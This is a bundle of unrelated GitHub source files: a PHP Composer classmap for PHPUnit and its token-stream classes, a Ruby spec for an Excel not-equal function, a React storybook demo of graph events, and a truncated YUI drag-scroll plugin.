'PHPUnit_Util_Diff' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Diff.php', 'PHPUnit_Util_ErrorHandler' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/ErrorHandler.php', 'PHPUnit_Util_Fileloader' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Fileloader.php', 'PHPUnit_Util_Filesystem' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Filesystem.php', 'PHPUnit_Util_Filter' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Filter.php', 'PHPUnit_Util_Getopt' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Getopt.php', 'PHPUnit_Util_GlobalState' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/GlobalState.php', 'PHPUnit_Util_InvalidArgumentHelper' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/InvalidArgumentHelper.php', 'PHPUnit_Util_Log_JSON' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Log/JSON.php', 'PHPUnit_Util_Log_JUnit' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Log/JUnit.php', 'PHPUnit_Util_Log_TAP' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Log/TAP.php', 'PHPUnit_Util_PHP' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/PHP.php', 'PHPUnit_Util_PHP_Default' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/PHP/Default.php', 'PHPUnit_Util_PHP_Windows' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/PHP/Windows.php', 'PHPUnit_Util_Printer' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Printer.php', 'PHPUnit_Util_String' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/String.php', 'PHPUnit_Util_Test' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Test.php', 'PHPUnit_Util_TestDox_NamePrettifier' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/TestDox/NamePrettifier.php', 'PHPUnit_Util_TestDox_ResultPrinter' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/TestDox/ResultPrinter.php', 'PHPUnit_Util_TestDox_ResultPrinter_HTML' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/TestDox/ResultPrinter/HTML.php', 'PHPUnit_Util_TestDox_ResultPrinter_Text' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/TestDox/ResultPrinter/Text.php', 'PHPUnit_Util_TestSuiteIterator' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/TestSuiteIterator.php', 'PHPUnit_Util_Type' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/Type.php', 'PHPUnit_Util_XML' => $vendorDir . '/phpunit/phpunit/PHPUnit/Util/XML.php', 'PHP_CodeCoverage' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage.php', 'PHP_CodeCoverage_Driver' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Driver.php', 'PHP_CodeCoverage_Driver_Xdebug' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Driver/Xdebug.php', 'PHP_CodeCoverage_Exception' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Exception.php', 'PHP_CodeCoverage_Filter' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Filter.php', 'PHP_CodeCoverage_Report_Clover' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Clover.php', 'PHP_CodeCoverage_Report_Factory' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Factory.php', 'PHP_CodeCoverage_Report_HTML' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/HTML.php', 'PHP_CodeCoverage_Report_HTML_Renderer' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/HTML/Renderer.php', 'PHP_CodeCoverage_Report_HTML_Renderer_Dashboard' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/HTML/Renderer/Dashboard.php', 'PHP_CodeCoverage_Report_HTML_Renderer_Directory' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/HTML/Renderer/Directory.php', 'PHP_CodeCoverage_Report_HTML_Renderer_File' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/HTML/Renderer/File.php', 'PHP_CodeCoverage_Report_Node' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Node.php', 'PHP_CodeCoverage_Report_Node_Directory' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Node/Directory.php', 'PHP_CodeCoverage_Report_Node_File' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Node/File.php', 'PHP_CodeCoverage_Report_Node_Iterator' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Node/Iterator.php', 'PHP_CodeCoverage_Report_PHP' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/PHP.php', 'PHP_CodeCoverage_Report_Text' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Report/Text.php', 'PHP_CodeCoverage_Util' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Util.php', 'PHP_CodeCoverage_Util_InvalidArgumentHelper' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Util/InvalidArgumentHelper.php', 'PHP_CodeCoverage_Version' => $vendorDir . '/phpunit/php-code-coverage/PHP/CodeCoverage/Version.php', 'PHP_Timer' => $vendorDir . '/phpunit/php-timer/PHP/Timer.php', 'PHP_Token' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_TokenWithScope' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_TokenWithScopeAndVisibility' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ABSTRACT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_AMPERSAND' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_AND_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ARRAY' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ARRAY_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_AS' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_AT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_BACKTICK' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_BAD_CHARACTER' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_BOOLEAN_AND' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_BOOLEAN_OR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_BOOL_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_BREAK' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CALLABLE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CARET' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CASE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CATCH' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CHARACTER' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLASS' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLASS_C' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLONE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLOSE_BRACKET' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLOSE_CURLY' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLOSE_SQUARE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CLOSE_TAG' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_COLON' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_COMMA' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_COMMENT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CONCAT_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CONST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CONSTANT_ENCAPSED_STRING' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CONTINUE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_CURLY_OPEN' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DEC' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DECLARE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DEFAULT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DIR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DIV' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DIV_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DNUMBER' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DO' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOC_COMMENT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOLLAR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOLLAR_OPEN_CURLY_BRACES' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOUBLE_ARROW' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOUBLE_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOUBLE_COLON' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_DOUBLE_QUOTES' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ECHO' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ELSE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ELSEIF' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_EMPTY' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENCAPSED_AND_WHITESPACE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENDDECLARE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENDFOR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENDFOREACH' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENDIF' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENDSWITCH' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ENDWHILE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_END_HEREDOC' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_EVAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_EXCLAMATION_MARK' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_EXIT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_EXTENDS' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FILE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FINAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FINALLY' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FOR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FOREACH' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FUNCTION' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_FUNC_C' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_GLOBAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_GOTO' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_GT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_HALT_COMPILER' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IF' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IMPLEMENTS' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INC' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INCLUDE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INCLUDE_ONCE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INLINE_HTML' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INSTANCEOF' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INSTEADOF' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INTERFACE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_INT_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_ISSET' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IS_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IS_GREATER_OR_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IS_IDENTICAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IS_NOT_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IS_NOT_IDENTICAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_IS_SMALLER_OR_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_Includes' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LINE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LIST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LNUMBER' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LOGICAL_AND' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LOGICAL_OR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LOGICAL_XOR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_LT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_METHOD_C' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_MINUS' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_MINUS_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_MOD_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_MULT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_MUL_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_NAMESPACE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_NEW' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_NS_C' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_NS_SEPARATOR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_NUM_STRING' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OBJECT_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OBJECT_OPERATOR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OPEN_BRACKET' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OPEN_CURLY' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OPEN_SQUARE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OPEN_TAG' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OPEN_TAG_WITH_ECHO' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_OR_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PAAMAYIM_NEKUDOTAYIM' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PERCENT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PIPE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PLUS' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PLUS_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PRINT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PRIVATE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PROTECTED' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_PUBLIC' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_QUESTION_MARK' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_REQUIRE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_REQUIRE_ONCE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_RETURN' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_SEMICOLON' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_SL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_SL_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_SR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_SR_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_START_HEREDOC' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_STATIC' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_STRING' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_STRING_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_STRING_VARNAME' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_SWITCH' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_Stream' => $vendorDir . '/phpunit/php-token-stream/PHP/Token/Stream.php', 'PHP_Token_Stream_CachingFactory' => $vendorDir . '/phpunit/php-token-stream/PHP/Token/Stream/CachingFactory.php', 'PHP_Token_THROW' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_TILDE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_TRAIT' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_TRAIT_C' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_TRY' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_UNSET' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_UNSET_CAST' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_USE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_VAR' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_VARIABLE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_WHILE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_WHITESPACE' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_XOR_EQUAL' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'PHP_Token_YIELD' => $vendorDir . '/phpunit/php-token-stream/PHP/Token.php', 'Text_Template' => $vendorDir . '/phpunit/php-text-template/Text/Template.php', );
{ "pile_set_name": "Github" }
require_relative '../../spec_helper.rb' describe "ExcelFunctions: = not_equal?()" do it "should check the equality of numbers" do FunctionTest.not_equal?(1,1).should == false FunctionTest.not_equal?(1,0).should == true FunctionTest.not_equal?(1.0,1).should == false end it "should check the equality of booleans" do FunctionTest.not_equal?(true,false).should == true FunctionTest.not_equal?(false,false).should == false end it "should check the equality of strings, ignoring case" do FunctionTest.not_equal?("HELLO","world").should == true FunctionTest.not_equal?("HELLO","hello").should == false end # it "should be able to check arrays" do # FunctionTest.not_equal?([[1,2],[3,4]],2).should == [[true,false],[true,true]] # FunctionTest.not_equal?(2,[[1,2],[3,4]]).should == [[true,false],[true,true]] # FunctionTest.not_equal?([[1,2],[3,4]],[[1,2],[3,4]]).should == [[false,false],[false,false]] # end it "should return error if either argument is an error" do FunctionTest.not_equal?(:error,1).should == :error FunctionTest.not_equal?(1,:error).should == :error FunctionTest.not_equal?(:error,:error).should == :error end end
{ "pile_set_name": "Github" }
import React from 'react' import GraphRenderer from '../src'; export default { title: 'Events ' }; import createGraphOnce from './singleton' let favorites = [] export const events = () => { let [graph, canvas] = createGraphOnce({ }) let events = ['blur' , 'mousedown' , 'mouseup' , //'mousemove' , 'mouseenter' , 'mouseleave' , 'click' , 'wheel', 'hover'] events.forEach(d => { graph.on(d, (args) => { console.log(d, args) }) }) return canvas }; export const select = () => { let [graph, canvas] = createGraphOnce({ }) let div = document.createElement('div') div.innerHTML = '<form> <button>Select Point</button> </form>' let [select] = div.querySelectorAll('button') select.addEventListener('click', (e) => { e.preventDefault() graph.select(Math.random() * 1000 | 0) }) div.appendChild(canvas) return div };
{ "pile_set_name": "Github" }
/* Copyright (c) 2010, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.com/yui/license.html version: 3.3.0 build: 3167 */ YUI.add('dd-scroll', function(Y) { /** * Base scroller class used to create the Plugin.DDNodeScroll and Plugin.DDWinScroll. * This class should not be called on it's own, it's designed to be a plugin. * @module dd * @submodule dd-scroll */ /** * Base scroller class used to create the Plugin.DDNodeScroll and Plugin.DDWinScroll. * This class should not be called on it's own, it's designed to be a plugin. * @class Scroll * @extends Base * @namespace DD * @constructor */ var S = function() { S.superclass.constructor.apply(this, arguments); }, WS, NS, HOST = 'host', BUFFER = 'buffer', PARENT_SCROLL = 'parentScroll', WINDOW_SCROLL = 'windowScroll', SCROLL_TOP = 'scrollTop', SCROLL_LEFT = 'scrollLeft', OFFSET_WIDTH = 'offsetWidth', OFFSET_HEIGHT = 'offsetHeight'; S.ATTRS = { /** * @attribute parentScroll * @description Internal config option to hold the node that we are scrolling. Should not be set by the developer. * @type Node */ parentScroll: { value: false, setter: function(node) { if (node) { return node; } return false; } }, /** * @attribute buffer * @description The number of pixels from the edge of the screen to turn on scrolling. Default: 30 * @type Number */ buffer: { value: 30, validator: Y.Lang.isNumber }, /** * @attribute scrollDelay * @description The number of milliseconds delay to pass to the auto scroller. Default: 235 * @type Number */ scrollDelay: { value: 235, validator: Y.Lang.isNumber }, /** * @attribute host * @description The host we are plugged into. * @type Object */ host: { value: null }, /** * @attribute windowScroll * @description Turn on window scroll support, default: false * @type Boolean */ windowScroll: { value: false, validator: Y.Lang.isBoolean }, /** * @attribute vertical * @description Allow vertical scrolling, default: true. * @type Boolean */ vertical: { value: true, validator: Y.Lang.isBoolean }, /** * @attribute horizontal * @description Allow horizontal scrolling, default: true. * @type Boolean */ horizontal: { value: true, validator: Y.Lang.isBoolean } }; Y.extend(S, Y.Base, { /** * @private * @property _scrolling * @description Tells if we are actively scrolling or not. * @type Boolean */ _scrolling: null, /** * @private * @property _vpRegionCache * @description Cache of the Viewport dims. * @type Object */ _vpRegionCache: null, /** * @private * @property _dimCache * @description Cache of the dragNode dims. * @type Object */ _dimCache: null, /** * @private * @property _scrollTimer * @description Holder for the Timer object returned from Y.later. * @type {Y.later} */ _scrollTimer: null, /** * @private * @method _getVPRegion * @description Sets the _vpRegionCache property with an Object containing the dims from the viewport. */ _getVPRegion: function() { var r = {}, n = this.get(PARENT_SCROLL), b = this.get(BUFFER), ws = this.get(WINDOW_SCROLL), xy = ((ws) ? [] : n.getXY()), w = ((ws) ? 'winWidth' : OFFSET_WIDTH), h = ((ws) ? 'winHeight' : OFFSET_HEIGHT), t = ((ws) ? n.get(SCROLL_TOP) : xy[1]), l = ((ws) ? n.get(SCROLL_LEFT) : xy[0]); r = { top: t + b, right: (n.get(w) + l) - b, bottom: (n.get(h) + t) - b, left: l + b }; this._vpRegionCache = r; return r; }, initializer: function() { var h = this.get(HOST); h.after('drag:start', Y.bind(this.start, this)); h.after('drag:end', Y.bind(this.end, this)); h.on('drag:align', Y.bind(this.align, this)); //TODO - This doesn't work yet?? Y.one('win').on('scroll', Y.bind(function() { this._vpRegionCache = null; }, this)); }, /** * @private * @method _checkWinScroll * @description Check to see if we need to fire the scroll timer. If scroll timer is running this will scroll the window. * @param {Boolean} move Should we move the window. From Y.later */ _checkWinScroll: function(move) { var r = this._getVPRegion(), ho = this.get(HOST), ws = this.get(WINDOW_SCROLL), xy = ho.lastXY, scroll = false, b = this.get(BUFFER), win = this.get(PARENT_SCROLL), sTop = win.get(SCROLL_TOP), sLeft = win.get(SCROLL_LEFT), w = this._dimCache.w, h = this._dimCache.h, bottom = xy[1] + h, top = xy[1], right = xy[0] + w, left = xy[0], nt = top, nl = left, st = sTop, sl = sLeft; if (this.get('horizontal')) { if (left <= r.left) { scroll = true; nl = xy[0] - ((ws) ? b : 0); sl = sLeft - b; } if (right >= r.right) { scroll = true; nl = xy[0] + ((ws) ? b : 0); sl = sLeft + b; } } if (this.get('vertical')) { if (bottom >= r.bottom) { scroll = true; nt = xy[1] + ((ws) ? b : 0); st = sTop + b; } if (top <= r.top) { scroll = true; nt = xy[1] - ((ws) ? b : 0); st = sTop - b; } } if (st < 0) { st = 0; nt = xy[1]; } if (sl < 0) { sl = 0; nl = xy[0]; } if (nt < 0) { nt = xy[1]; } if (nl < 0) { nl = xy[0]; } if (move) { ho.actXY = [nl, nt]; ho._moveNode({ node: win, top: st, left: sl}); if (!st && !sl) { this._cancelScroll(); } } else { if (scroll) { this._initScroll(); } else { this._cancelScroll(); } } }, /** * @private * @method _initScroll * @description Cancel a previous scroll timer and init a new one. */ _initScroll: function() { this._cancelScroll(); this._scrollTimer = Y.Lang.later(this.get('scrollDelay'), this, this._checkWinScroll, [true], true); }, /** * @private * @method _cancelScroll * @description Cancel a currently running scroll timer. */ _cancelScroll: function() { this._scrolling = false; if (this._scrollTimer) { this._scrollTimer.cancel(); delete this._scrollTimer; } }, /** * @method align * @description Called from the drag:align event to determine if we need to scroll. */ align: function(e) { if (this._scrolling) { this._cancelScroll(); e.preventDefault(); } if (!this._scrolling) { this._checkWinScroll(); } }, /** * @private * @method _setDimCache * @description Set the cache of the dragNode dims. */ _setDimCache: function() { var node = this.get(HOST).get('dragNode'); this._dimCache = { h: node.get(OFFSET_HEIGHT), w: node.get(OFFSET_WIDTH) }; }, /** * @method start * @description Called from the drag:start event */ start: function() { this._setDimCache(); }, /** * @method end * @description Called from the drag:end event */ end: function(xy) { this._dimCache = null; this._cancelScroll(); }, /** * @method toString * @description General toString method for logging * @return String name for the object */ toString: function() { return S.NAME + ' #' + this.get('node').get('id'); } }); Y.namespace('Plugin'); /** * Extends the Scroll class to make the window scroll while dragging. * @class DDWindowScroll * @extends DD.Scroll * @namespace Plugin * @constructor */ WS = function() { WS.superclass.constructor.apply(this, arguments); }; WS.ATTRS = Y.merge(S.ATTRS, { /** * @attribute windowScroll * @description Turn on window scroll support, default: true * @type Boolean */ windowScroll: { value: true, setter: function(scroll) { if (scroll) { this.set(PARENT_SCROLL, Y.one('win')); } return scroll; } } }); Y.extend(WS, S, { //Shouldn't have to do this.. initializer: function() { this.set('windowScroll', this.get('windowScroll')); } }); /** * @property NS * @default winscroll * @readonly * @protected * @static * @description The Scroll instance will be placed on the Drag instance under the winscroll namespace. * @type {String} */ WS.NAME = WS.NS = 'winscroll'; Y.Plugin.DDWinScroll = WS; /** * Extends the Scroll class to make a parent node scroll while dragging. * @class DDNodeScroll * @extends DD.Scroll * @namespace Plugin * @constructor */ NS = function() { NS.superclass.constructor.apply(this, arguments); }; NS.ATTRS = Y.merge(S.ATTRS, { /** * @attribute node * @description The node we want to scroll. Used to set the internal parentScroll attribute. * @type Node */ node: { value: false, setter: function(node) { var n 